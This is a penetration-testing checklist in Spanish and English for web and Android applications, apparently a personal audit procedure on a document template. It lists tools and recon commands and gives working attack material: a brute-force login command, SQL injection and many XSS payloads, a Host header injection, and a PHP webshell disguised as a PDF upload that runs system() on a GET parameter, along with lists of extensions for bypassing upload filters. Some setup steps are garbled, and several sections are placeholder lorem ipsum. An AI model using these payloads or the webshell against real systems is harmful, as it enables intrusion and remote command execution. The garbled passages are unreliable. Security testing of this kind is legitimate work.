creodocs

Web application vulnerability analysis

Procedure

Documented by:
Osvaldo H.M.

May 31, 2022

Disclaimer

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus, imperdiet urna iaculis, mattis eros. Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie. Sed dictum nisl non aliquet porttitor. Etiam vulputate arcu dignissim, finibus sem et, viverra nisl. Aenean luctus congue massa, ut laoreet metus ornare in. Nunc fermentum nisi imperdiet lectus tincidunt vestibulum at ac elit.

Copyright

Contact

Address Line 1
Address Line 2
Address Line 3

Business Number 123456

Contact: name@company.com

Changelog

v1.0	20XX-02-05	Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent porttitor arcu luctus, imperdiet urna iaculis, mattis eros.
v1.1	20XX-02-27	Pellentesque iaculis odio vel nisl ullamcorper, nec faucibus ipsum molestie.
v1.2	20XX-03-15	Sed dictum nisl non aliquet porttitor.

Table of Contents

1 Herramientas

- ADB (Android Debug Bridge)
- Apktool
- Drozer
- dex2jar
- jd-gui
- Mobile Security Framework (MobSF)
- Yaazhini
- Sixo Online APK Analyzer | sisik
- Checkout - VAPT (getastra.com)
- Nox Player

Nox player requiere desactivatr Hyper V.

1. Instala Root Checker
2. General settings > Root
3. Ir a desplazar configuarion > manter wifi> modify settings > proxy
4. poner burpsuite como all intercaes su ip y puerto local
5. Instala el certicicado CA http://burpsuite, renombra. der a .cer > instalra ombra rl cerfiica Burp que se par VPN y Apps el certifdicado
6. Instal el cerifciao con figurtaicon wifi > advanced > install certiciate

2 WebSocket Unencrypted Communications Verification

Search for headers: Sec-WebSocket-

3 WebSocket Cross-site hijacking Test

Since a cross-site WebSocket hijacking attack is essentially a CSRF vulnerability on a WebSocket handshake, the first step

Usually a web aplication could work with HTTP 1.0, HTTP 2.0, WebSockets and WebHooks.

to performing an attack is to review the WebSocket handshakes that the application carries out and determine whether they are protected against CSRF.

In terms of the normal conditions for CSRF attacks, you typically need to find a handshake message that relies solely on HTTP cookies for session handling and doesn't employ any tokens or other unpredictable values in request parameters. For example, the following WebSocket handshake request is probably vulnerable to CSRF, because the only session token is transmitted in a cookie

```
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

The Sec-WebSocket-Key header contains a random value to prevent errors from caching proxies, and is not used for authentication or session handling purposes. If the WebSocket handshake request is vulnerable to CSRF, then an attacker's web page can perform a cross-site request to open a WebSocket on the vulnerable site. What happens next in the attack depends entirely on the application's logic and how it is using WebSockets. The attack might involve:

4 WebSocket Denial of Service Test

```
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'
const request = [
   'GET / HTTP/1.1',
   'Connection: Upgrade',
   'Sec-WebSocket-Key: test',
   'Sec-WebSocket-Version: 8',
   `Sec-WebSocket-Extensions: ${payload}`,
   'Upgrade: websocket',
   '\r\n'
  ].join('\r\n');
const socket = net.connect(3000, function () {
   socket.resume();
   socket.write(request);
  });
});
```

5 TLS/SSL Verfication

TLSLED

```
sudo apt install tlssled
tlssled vulnerable-site.com 443
```

SSLSCAN

```
sudo apt install sslscan
sslscan https://vulnerable-site.com
```

6 HTTP Security Headers Verification

SHCHEK

```
pip3 install shcheck
shcheck.py https://insecurity.blog
```

7 HTTP Host Header Injection

CURL

```
curl -s -D - --header 'Host: the-evil-site.com' https://vulnerable-
    site.com /index.php/rmpe > output && cat output | grep --color -E
     '^|the-evil-site.com'
```

8 HTTP Options Method Verification

Add nmap to Kali Linux Subsystem

```
alias nmap='"/mnt/c/Program Files (x86)/Nmap/nmap.exe"'
```

NMAP

```
nmap --script http-methods <target>
```

In specific path

```
curl -i -X OPTIONS http://example.org/path
```

9 HTTP Trace Method Check

```
curl --insecure -v -X TRACE https://www.google.com/
```

La respuesta esperada para que no este activo es: 405 Method Not Allowed

10 HTTP Cookies Verification

CURL

```
curl 'https://vulnerable-site.com' -o /dev/null --dump-header - 2>&1
    | grep -i "set-cookie"
```

11 Subresource Integrity (SRI) Implementation Verification

CURL

```
sudo apt install tidy
curl -s https://laysent.github.io/subresource-integrity-demo/
    integrity.html | tidy  -indent --indent-spaces 2 -quiet --tidy-
    mark no | grep "integrity="
```

12 Login brute force attack test

GitHub - FlorianBord2/Hatch-python3-optimised: Hatch is a brute force tool that is used to brute force most websites

```
   git clone https://github.com/FlorianBord2/Hatch-python3-optimised
```

```
   python main.py --website "https://vulnerable-site.com /login" --
       passlist  passlist.txt  --username "cibersoc_3tin"  --
```

```
       usernamesel "body > div > div > div > div:nth-child(2) > form
       > div:nth-child(1) > div > div:nth-child(1) > div > div >
       input" --passsel "body > div > div > div > div:nth-child(2) >
       form > div:nth-child(1) > div > div:nth-child(2) > div > div >
        input" --loginsel "body > div > div > div > div:nth-child(2)
       > form > div:nth-child(2) > div > div > div > button > span"
```

13 Web application exploration

Navigation.

Identify user flows.

14 Ports identification

Use NMAP.

15 Hosted and related applications identification

Virtual hosts maybe.

```
nmap -sV --script=http-enum <target>
```

16 User roles identification

Identify user roles in application names, ids.

17 Files and folders discover

```
sudo apt install dirb
dirb https://vulnerable-site.com /ingresar
```

18 Web application technologies recognition

Use Walapalizer chrome extension.

Enlace de la extensión

19 Search for known vulnerabilities of recognized technologies

https://security.snyk.io/

20 Extraction of metadata from downloadable files

```
exiftool sectorprivado.pdf | grep 'Creator\|Producer\|Windows|\Linux
    |\OS|\C:|\http'>
```

21 Extraction of embedded files

```
pip install docscraper
sudo apt install exiftool


import docscraper
allowed_domains = ["vulnerable-site.com "]
start_urls = ["https://vulnerable-site.com /index.php/rmpe"]
extensions = [".pdf", ".docx", ".doc", ".xls",".xslx",".ppt",".pptx",
     ".txt", ".csv", ".json"]
docscraper.crawl(allowed_domains, start_urls, extensions=extensions)
```

```
wget https://raw.githubusercontent.com/x4nth055/pythoncode-tutorials/
    master/web-scraping/link-extractor/link_extractor.py
python3 link_extractor.py https://github.com -m 2
curl https://vulnerable-site.com /index.php/rmpe/article/view/62/58 >
     output && cat output | tr '";>' '\n' | grep -Eo '(http|https|www
    ):(.*)'
```

Descargar con el nombre propuesto por el servidor en lugar de wget:

```
curl -JLO https:\/\/vulnerable-site.com \/index.php\/rmpe\/article\/
    download\/62\/58\/100
```

Search for usernames:

```
exiftool sectorprivado.pdf | grep 'Creator\|Producer\|Windows|\Linux
    |\OS|\C:|\http'
```

22 Data extraction from Javascript Source Code

Installation of tools:

```
pip install jsbeautifier
js-beautify file.js
```

Encription keys search:

```
curl -s https://vulnerable-site.com/js/app.dca99adc.js | js-beautify
    | awk '{$1=$1;print}' | grep -iE  "crypt|aes|hmac|md5|sha512|
    sha256|sha1"

echo -n 'hsBI69O90juKhpPx' | md5sum
```

In case the code is obsfuscated:

- JavaScript Deobfuscator (deobfuscate.io)
- de4js | JavaScript Deobfuscator and Unpacker (lelinht-inh.github.io)

Encrypt and Decrypt with Key in Online | Online Encryption and Decryption (bitcompiler.com) JSON Web Tokens - jwt.io

Si esta en cifrado en la URL entonces URL Parameters o algo asi usar primero un URL Decoder URI.

23 Code injection validation

```
' ; -- ' */ /* -- or # ' OR '1 ' OR 1 -- - OR 1=1 ;%00<script>
    javascript:alert(123456789)</script> (&(ou=admin)(| (user=Freeman
    )))
```

Other payloads:

```
<a href='www.evil-site.com'>www.evil-site.com link</a>
<a href="javascript:document.write('<image src =q onerror=prompt(8)
    >')">evil link</a>
<a href="javascript:let pdfWindow = window.open('');pdfWindow.
    document.write( '<iframe width='100%' height='100%' src='data:
    text/html;base64, ' + encodeURI('
    PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=') + ''></iframe>' )
">evil link</a>
<a href='data:text/html;base64,
    PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4='>clic on xss</a>
<script>javascript:alert(123456789)</script>
<image src =q onerror=prompt(8)>
<img src="javascript:alert('XSS');">
<object src=1 href=1 onerror="javascript:alert(1)"></object>
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
<video src=1 href=1 onerror="javascript:alert(1)"></video>
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></
    iframe onLoad>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert
    (1)"></iframe onbeforeload>
<iframe><textarea></iframe><img src='' onerror='alert(document.domain
    )'>
</textarea><script>alert(/xss/)</script>
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);" onerror="
    javascript:alert(1)"  onclick="javascript:alert(1)">
<iframe><textarea></iframe><img src="" onerror="alert('14/04/2022')">

<image src =q onerror='window.parent.location = 'http
    ://127.0.0.1:8000/SPC.html''>
<image src =q onerror='javascript:alert(1223456789)'>
```

Example: Base64 XSS payload

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
```

Insert value in HTML element with javascript:

```
   document.getElementById("f_464cf370-896e-4af1-a0b1-3f4621ff0a36").
       value = '<script>javascript:alert(123456789)</script>';
```

24 Cross Site Scripting Validation

```
<script>javascript:alert(1)</script>
```

25 File upload feature check: Webshell upload test

```
https://github.com/TheBinitGhimire/Web-Shells
```

```
Content-Disposition: form-data; name="file"; filename="documento.php"
Content-Type: application/pdf

text/x-php

\%PDF-1.7
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']);
    ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<p>This is an example of webshell to execute commands in remote
    server:</p>
<pre>
<?php
   if(isset($_GET['cmd']))
   {
       system($_GET['cmd']);
   }
?>
<script>javacript:alert('XSS PAYLOAD')</script>
</pre>
</body>
</html>
\%\%EOF
```

Change de MimeType to render.

```

Content-Type: application/x-php

text/x-php
text/html
text/plain
text/x-php
application/x-php
application/x-httpd-php
application/x-httpd-php-source
```

Other useful extensions:

1. PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
2. ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
3. JSP: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action Coldfusion: .cfm, .cfml, .cfc, .dbm
4. Flash: .swf
5. Perl: .pl, .cgi

Appendices

A Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit eget euismod pretium.

B Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit eget euismod pretium.

C Appendix Section

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aliquam auctor mi risus, quis tempor libero hendrerit at. Duis hendrerit placerat quam et semper. Nam ultricies metus vehicula arcu viverra, vel ullamcorper justo elementum. Pellentesque vel mi ac lectus cursus posuere et nec ex. Fusce quis mauris egestas lacus commodo venenatis. Ut at arcu lectus. Donec et urna nunc. Morbi eu nisl cursus sapien eleifend tincidunt quis quis est. Donec ut orci ex. Praesent ligula enim, ullamcorper non lorem a, ultrices volutpat dolor. Nullam at imperdiet urna. Pellentesque nec velit eget euismod pretium.